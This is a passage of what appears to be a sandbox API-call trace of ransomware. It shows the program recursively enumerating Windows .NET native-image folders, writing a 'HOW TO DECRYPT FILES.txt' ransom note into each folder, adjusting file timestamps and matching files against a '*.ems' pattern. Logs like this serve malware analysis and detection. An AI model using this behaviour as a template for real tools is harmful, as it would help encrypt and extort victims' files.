ftLastWriteTime.dwLowDateTime=0x18287017, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="c72ccbd1fef598dd897fdf0d2e49195b", cAlternateFileName="C72CCB~1")) returned 0 [0106.884] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.884] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ba4ff23, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8ba4ff23, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8ba4ff23, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.Routing", cAlternateFileName="SYSTEM~1.ROU")) returned 1 [0106.884] lstrcmpA (lpString1=".", lpString2="System.Web.Routing") returned -1 [0106.885] lstrcmpA (lpString1="..", lpString2="System.Web.Routing") returned -1 [0106.885] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.885] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Web.Routing" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing" [0106.885] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ba4ff23, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8ba4ff23, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8ba4ff23, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.885] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.886] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ba4ff23, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8ba4ff23, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8ba4ff23, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.886] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.886] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.886] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ba4ff23, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8ba4ff23, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8ba4ff23, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="165d0873203da280298bfcfa50567a0b", cAlternateFileName="165D08~1")) returned 1 [0106.886] lstrcmpA (lpString1=".", lpString2="165d0873203da280298bfcfa50567a0b") returned -1 [0106.886] lstrcmpA (lpString1="..", lpString2="165d0873203da280298bfcfa50567a0b") returned -1 [0106.886] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\*.*") returned="*.*" [0106.886] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\", lpString2="165d0873203da280298bfcfa50567a0b" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\165d0873203da280298bfcfa50567a0b") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\165d0873203da280298bfcfa50567a0b" [0106.886] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\165d0873203da280298bfcfa50567a0b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ba4ff23, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8ba4ff23, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8ba4ff23, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.886] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.887] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ba4ff23, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8ba4ff23, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8ba4ff23, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.887] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.887] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.887] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b9ddb02, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8b9ddb02, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8ba03c62, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1fa00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Routing.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.887] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.887] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Routing.ni.dll") returned -1 [0106.887] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Routing.ni.dll") returned -1 [0106.887] lstrcmpiA (lpString1="", lpString2="System.Web.Routing.ni.dll") returned -1 [0106.887] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\165d0873203da280298bfcfa50567a0b\\*.*") returned="*.*" [0106.887] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\165d0873203da280298bfcfa50567a0b\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\165d0873203da280298bfcfa50567a0b\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\165d0873203da280298bfcfa50567a0b\\" [0106.887] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\165d0873203da280298bfcfa50567a0b\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\165d0873203da280298bfcfa50567a0b\\") returned="" [0106.887] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\165d0873203da280298bfcfa50567a0b\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\165d0873203da280298bfcfa50567a0b\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\165d0873203da280298bfcfa50567a0b\\HOW TO DECRYPT FILES.txt" [0106.888] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\165d0873203da280298bfcfa50567a0b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.routing\\165d0873203da280298bfcfa50567a0b\\how to decrypt files.txt")) returned 0xffffffff [0106.888] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\165d0873203da280298bfcfa50567a0b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.routing\\165d0873203da280298bfcfa50567a0b\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.891] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.891] CloseHandle (hObject=0x90) returned 1 [0106.891] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\165d0873203da280298bfcfa50567a0b\\", lpString2="System.Web.Routing.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\165d0873203da280298bfcfa50567a0b\\System.Web.Routing.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\165d0873203da280298bfcfa50567a0b\\System.Web.Routing.ni.dll" [0106.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Routing\\165d0873203da280298bfcfa50567a0b\\System.Web.Routing.ni.dll", pszSpec="*.ems") returned 0 [0106.892] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b9ddb02, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8b9ddb02, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8ba03c62, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1fa00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Routing.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.892] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.892] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ba4ff23, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8ba4ff23, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8ba4ff23, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="165d0873203da280298bfcfa50567a0b", cAlternateFileName="165D08~1")) returned 0 [0106.892] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.892] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x141373fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x141373fe, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x141373fe, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.Services", cAlternateFileName="SYSTEM~2.SER")) returned 1 [0106.892] lstrcmpA (lpString1=".", lpString2="System.Web.Services") returned -1 [0106.892] lstrcmpA (lpString1="..", lpString2="System.Web.Services") returned -1 [0106.892] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.892] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Web.Services" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services" [0106.893] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x141373fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x141373fe, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x141373fe, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.893] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.893] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x141373fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x141373fe, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x141373fe, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.894] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.894] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x141373fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x141373fe, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x141373fe, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="02d5be8209f0eac6f7725f8d83b87df6", cAlternateFileName="02D5BE~1")) returned 1 [0106.894] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\*.*") returned="*.*" [0106.894] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\", lpString2="02d5be8209f0eac6f7725f8d83b87df6" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\02d5be8209f0eac6f7725f8d83b87df6") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\02d5be8209f0eac6f7725f8d83b87df6" [0106.894] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\02d5be8209f0eac6f7725f8d83b87df6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x141373fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x141373fe, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x141373fe, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.895] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x141373fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x141373fe, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x141373fe, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.895] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14052bbd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x14052bbd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x140c4fdd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1c1600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Services.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.895] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.895] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Services.ni.dll") returned -1 [0106.895] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Services.ni.dll") returned -1 [0106.895] lstrcmpiA (lpString1="", lpString2="System.Web.Services.ni.dll") returned -1 [0106.895] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\02d5be8209f0eac6f7725f8d83b87df6\\*.*") returned="*.*" [0106.895] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\02d5be8209f0eac6f7725f8d83b87df6\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\02d5be8209f0eac6f7725f8d83b87df6\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\02d5be8209f0eac6f7725f8d83b87df6\\" [0106.896] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\02d5be8209f0eac6f7725f8d83b87df6\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\02d5be8209f0eac6f7725f8d83b87df6\\") returned="" [0106.896] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\02d5be8209f0eac6f7725f8d83b87df6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\02d5be8209f0eac6f7725f8d83b87df6\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\02d5be8209f0eac6f7725f8d83b87df6\\HOW TO DECRYPT FILES.txt" [0106.896] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\02d5be8209f0eac6f7725f8d83b87df6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.services\\02d5be8209f0eac6f7725f8d83b87df6\\how to decrypt files.txt")) returned 0xffffffff [0106.896] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\02d5be8209f0eac6f7725f8d83b87df6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.services\\02d5be8209f0eac6f7725f8d83b87df6\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.899] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\02d5be8209f0eac6f7725f8d83b87df6\\", lpString2="System.Web.Services.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\02d5be8209f0eac6f7725f8d83b87df6\\System.Web.Services.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\02d5be8209f0eac6f7725f8d83b87df6\\System.Web.Services.ni.dll" [0106.899] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Services\\02d5be8209f0eac6f7725f8d83b87df6\\System.Web.Services.ni.dll", pszSpec="*.ems") returned 0 [0106.900] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14052bbd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x14052bbd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x140c4fdd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1c1600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Services.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.900] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.900] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x141373fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x141373fe, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x141373fe, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="02d5be8209f0eac6f7725f8d83b87df6", cAlternateFileName="02D5BE~1")) returned 0 [0106.900] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.900] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bfbbc2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1bfbbc2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1bfbbc2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Windows.Forms", cAlternateFileName="SYSTEM~1.FOR")) returned 1 [0106.900] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.900] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Windows.Forms" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms" [0106.901] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bfbbc2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1bfbbc2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1bfbbc2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.901] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bfbbc2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1bfbbc2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1bfbbc2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.901] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bfbbc2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1bfbbc2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1bfbbc2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3afcd5168c7a6cb02eab99d7fd71e102", cAlternateFileName="3AFCD5~1")) returned 1 [0106.902] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\*.*") returned="*.*" [0106.902] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\", lpString2="3afcd5168c7a6cb02eab99d7fd71e102" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102" [0106.902] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bfbbc2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1bfbbc2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1bfbbc2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.902] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bfbbc2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1bfbbc2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1bfbbc2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.902] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17f769b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x17f769b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1a58c9f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xbdb600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Windows.Forms.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.902] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.902] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Windows.Forms.ni.dll") returned -1 [0106.903] 